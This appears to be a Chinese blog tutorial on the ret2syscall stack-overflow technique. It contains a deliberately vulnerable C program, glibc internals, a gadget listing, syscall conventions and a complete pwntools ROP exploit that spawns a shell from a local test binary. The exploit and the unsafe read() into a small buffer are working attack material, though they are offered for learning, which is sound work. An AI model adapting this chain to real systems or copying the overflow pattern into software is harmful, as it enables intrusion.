栈溢出之ret2syscall

ret2syscall

静态编译

静态编译是在编译时将所有必需的库和依赖项直接包含在生成的可执行文件中,最终的可执行文件包含了所有的代码,运行时不需要依赖外部库

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// ret2syscall.c
#include<stdio.h>
int dofunc()
{
	char data[8]={};
	write(1,"input:",6);
	read(0,data,0x100);
	return 0;
}
int main()
{
	dofunc();
	return 0;
}
1
gcc ret2syscall.c -fno-stack-protector -no-pie -static -o ret2syscall_x64

在gdb中查看内存信息,相比于动态链接内存中几乎只剩下程序,所有的依赖已经打包在可执行文件中

静态编译后的main相比于动态编译的要短非常多,而且也找不到systemdo_system

system底层实现

system

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
int
__libc_system (const char *line)
{
  if (line == NULL)
    /* Check that we have a command processor available.  It might
       not be available after a chroot(), for example.  */
    return do_system ("exit 0") == 0;

  return do_system (line);
}
weak_alias (__libc_system, system)  
// 宏将__libc_system函数定义为system函数的弱别名。在链接时,如果没有其他定义的system函数,链接器会使用这个定义

do_system

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
/* Execute LINE as a shell command, returning its status.  */
static int
do_system (const char *line)
{
  int status = -1;
  int ret;
  pid_t pid;
  struct sigaction sa;
#ifndef _LIBC_REENTRANT
  struct sigaction intr, quit;
#endif
  sigset_t omask;
  sigset_t reset;

  sa.sa_handler = SIG_IGN;
  sa.sa_flags = 0;
  __sigemptyset (&sa.sa_mask);

  DO_LOCK ();
  if (ADD_REF () == 0)
    {
      /* sigaction can not fail with SIGINT/SIGQUIT used with SIG_IGN.  */
      __sigaction (SIGINT, &sa, &intr);
      __sigaction (SIGQUIT, &sa, &quit);
    }
  DO_UNLOCK ();

  __sigaddset (&sa.sa_mask, SIGCHLD);
  /* sigprocmask can not fail with SIG_BLOCK used with valid input
     arguments.  */
  __sigprocmask (SIG_BLOCK, &sa.sa_mask, &omask);

  __sigemptyset (&reset);
  if (intr.sa_handler != SIG_IGN)
    __sigaddset(&reset, SIGINT);
  if (quit.sa_handler != SIG_IGN)
    __sigaddset(&reset, SIGQUIT);

  posix_spawnattr_t spawn_attr;
  /* None of the posix_spawnattr_* function returns an error, including
     posix_spawnattr_setflags for the follow specific usage (using valid
     flags).  */
  __posix_spawnattr_init (&spawn_attr);
  __posix_spawnattr_setsigmask (&spawn_attr, &omask);
  __posix_spawnattr_setsigdefault (&spawn_attr, &reset);
  __posix_spawnattr_setflags (&spawn_attr,
			      POSIX_SPAWN_SETSIGDEF | POSIX_SPAWN_SETSIGMASK);

  ret = __posix_spawn (&pid, SHELL_PATH, 0, &spawn_attr,
		       (char *const[]){ (char *) SHELL_NAME,
					(char *) "-c",
					(char *) "--",
					(char *) line, NULL },
		       __environ);
  __posix_spawnattr_destroy (&spawn_attr);

  if (ret == 0)
    {
      /* Cancellation results in cleanup handlers running as exceptions in
	 the block where they were installed, so it is safe to reference
	 stack variable allocate in the broader scope.  */
#if defined(_LIBC_REENTRANT) && defined(SIGCANCEL)
      struct cancel_handler_args cancel_args =
      {
	.quit = &quit,
	.intr = &intr,
	.pid = pid
      };
      __libc_cleanup_region_start (1, cancel_handler, &cancel_args);
#endif
      /* Note the system() is a cancellation point.  But since we call
	 waitpid() which itself is a cancellation point we do not
	 have to do anything here.  */
      if (TEMP_FAILURE_RETRY (__waitpid (pid, &status, 0)) != pid)
	status = -1;
#if defined(_LIBC_REENTRANT) && defined(SIGCANCEL)
      __libc_cleanup_region_end (0);
#endif
    }
  else
   /* POSIX states that failure to execute the shell should return
      as if the shell had terminated using _exit(127).  */
   status = W_EXITCODE (127, 0);

  /* sigaction can not fail with SIGINT/SIGQUIT used with old
     disposition.  Same applies for sigprocmask.  */
  DO_LOCK ();
  if (SUB_REF () == 0)
    {
      __sigaction (SIGINT, &intr, NULL);
      __sigaction (SIGQUIT, &quit, NULL);
    }
  DO_UNLOCK ();
  __sigprocmask (SIG_SETMASK, &omask, NULL);

  if (ret != 0)
    __set_errno (ret);

  return status;
}

后面的流程比较复杂这里省略,最后到execv

1
2
3
4
5
6
7
8
9
#include <unistd.h>


/* Execute PATH with arguments ARGV and environment from `environ'.  */
int
execv (const char *path, char *const argv[])
{
  return __execve (path, argv, __environ);
}

execve后面就是系统调用的流程,需要调试的时候反汇编

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
pwndbg> disassemble execve
Dump of assembler code for function __GI_execve:
   0x00007ffff7e9d200 <+0>:     mov    eax,0x3b
   0x00007ffff7e9d205 <+5>:     syscall
   0x00007ffff7e9d207 <+7>:     cmp    rax,0xfffffffffffff001
   0x00007ffff7e9d20d <+13>:    jae    0x7ffff7e9d210 <__GI_execve+16>
   0x00007ffff7e9d20f <+15>:    ret
   0x00007ffff7e9d210 <+16>:    mov    rcx,QWORD PTR [rip+0xffbe9]        # 0x7ffff7f9ce00
   0x00007ffff7e9d217 <+23>:    neg    eax
   0x00007ffff7e9d219 <+25>:    mov    DWORD PTR fs:[rcx],eax
   0x00007ffff7e9d21c <+28>:    or     rax,0xffffffffffffffff
   0x00007ffff7e9d220 <+32>:    ret
End of assembler dump.

这里可以看出0x3b就是execve的系统调用号

栈布局

execve("/bin/sh",0,0)

查找

gadget

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
0x0000000000415b86 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401fb1 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004062c3 : pop r12 ; pop r13 ; pop r14 ; ret
0x000000000042fda4 : pop r12 ; pop r13 ; pop rbp ; ret
0x000000000040571c : pop r12 ; pop r13 ; ret
0x000000000042bea6 : pop r12 ; pop rbp ; ret
0x0000000000402367 : pop r12 ; ret
0x0000000000415b88 : pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401fb3 : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004062c5 : pop r13 ; pop r14 ; ret
0x000000000042fda6 : pop r13 ; pop rbp ; ret
0x000000000040571e : pop r13 ; ret
0x0000000000415b8a : pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401fb5 : pop r14 ; pop r15 ; ret
0x00000000004062c7 : pop r14 ; ret
0x0000000000415b8c : pop r15 ; pop rbp ; ret
0x0000000000401fb7 : pop r15 ; ret
0x000000000045fcc6 : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000410747 : pop rax ; ret  # 1
0x0000000000401fb0 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004062c2 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
0x000000000040571b : pop rbp ; pop r12 ; pop r13 ; ret
0x0000000000402366 : pop rbp ; pop r12 ; ret
0x0000000000415b89 : pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401fb4 : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004062c6 : pop rbp ; pop r14 ; ret
0x000000000042fda7 : pop rbp ; pop rbp ; ret
0x0000000000462578 : pop rbp ; pop rbx ; ret
0x000000000040164a : pop rbp ; ret
0x000000000042fda3 : pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
0x000000000042bea5 : pop rbx ; pop r12 ; pop rbp ; ret
0x0000000000441a4e : pop rbx ; pop r12 ; ret
0x0000000000406a20 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
0x0000000000405cb5 : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
0x0000000000402365 : pop rbx ; pop rbp ; pop r12 ; ret
0x0000000000401649 : pop rbx ; pop rbp ; ret
0x00000000004018f8 : pop rbx ; ret
0x0000000000415b8d : pop rdi ; pop rbp ; ret
0x0000000000401fb8 : pop rdi ; ret  # 2
0x000000000045fcc7 : pop rdx ; pop rbx ; ret  # 4
0x000000000040416a : pop rdx ; ret 9
0x0000000000415b8b : pop rsi ; pop r15 ; pop rbp ; ret
0x0000000000401fb6 : pop rsi ; pop r15 ; ret
0x00000000004062c8 : pop rsi ; ret  # 3
0x0000000000415b87 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret
0x0000000000401fb2 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004062c4 : pop rsp ; pop r13 ; pop r14 ; ret
0x000000000042fda5 : pop rsp ; pop r13 ; pop rbp ; ret
0x000000000040571d : pop rsp ; pop r13 ; ret
0x000000000042bea7 : pop rsp ; pop rbp ; ret
0x0000000000402368 : pop rsp ; ret
0x0000000000401016 : ret

参数

通过系统调用执行execve需要三个参数,最后要是execve("/bin/sh",0,0)这个样子

  • 如果程序中没有字符串/bin/sh如何处理呢?

    此时可以先通过read往bss段中写入/bin/sh

  • 为什么是bss段? bss段通常是可读可写的,里面存储的是未初始化的变量,对bss段的对齐数据进行改动一般不影响程序运行

  • 什么是对齐数据?

    这是内存对齐的重要过程为了确保数据对齐在合适的边界上,编译器通常会在数据结构的成员之间或结构体末尾插入填充字节(padding)。这些填充字节通常没有特定的内容,只是占位用的字节,填充的具体内容通常没有任何含义。这些数据一般初始化为0x00

x86下系统调用

1
2
3
4
5
6
; write(1,msg,len)
mov eax, 4       ; 系统调用号 4 对应的是 write
mov ebx, 1       ; 文件描述符 1 对应标准输出
mov ecx, msg     ; 要写入的数据
mov edx, len     ; 数据长度
int 0x80         ; 触发系统调用

x86的系统调用为了提高运行效率使用寄存器给系统调用传参

  • eax:系统调用号

  • ebx:第一个参数

  • ecx:第二个参数

  • edx:第三个参数

  • esi:第四个参数

  • edi:第五个参数

  • ebp:第六个参数

x64下系统调用

1
2
3
4
5
6
; write(1,msg,len)
mov rax, 1       ; 系统调用号 1 对应的是 sys_write
mov rdi, 1       ; 文件描述符 1 对应标准输出
mov rsi, msg     ; 要写入的数据
mov rdx, len     ; 数据长度
syscall          ; 触发系统调用

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
import sys
context.log_level = 'debug'
context.arch = 'amd64'

p = process("./ret2syscall_x64")
#if len(sys.argv) == 2 and sys.argv[1] == 'p':
#    gdb.attach(p)

padding = 0x10
syscall = 0x41073e
pop_rax_ret = 0x410747
pop_rdi_ret = 0x401fb8
pop_rsi_ret = 0x4062c8
pop_rdx_rbx_ret = 0x45fcc7
bss = 0x4A22D0
dofunc = 0x4017b5

def fun(rax, rdi, rsi, rdx, syscall_addr, ret_addr):
    return flat(pop_rax_ret, rax, pop_rdi_ret, rdi, pop_rsi_ret, rsi, pop_rdx_rbx_ret, rdx, 0, syscall_addr, ret_addr)

# read(0, bss, 8)
payload = padding * b'a'
payload += fun(0, 0, bss, len(b"/bin/sh\00"), syscall, dofunc)
p.sendafter(b"input:", payload)

p.send(b"/bin/sh\00")

# execve("/bin/sh", 0, 0)
payload = padding * b'a'
payload += fun(59, bss, 0, 0, syscall, dofunc)
p.sendafter(b"input:", payload)
p.interactive()
使用 Hugo 构建
主题 StackJimmy 设计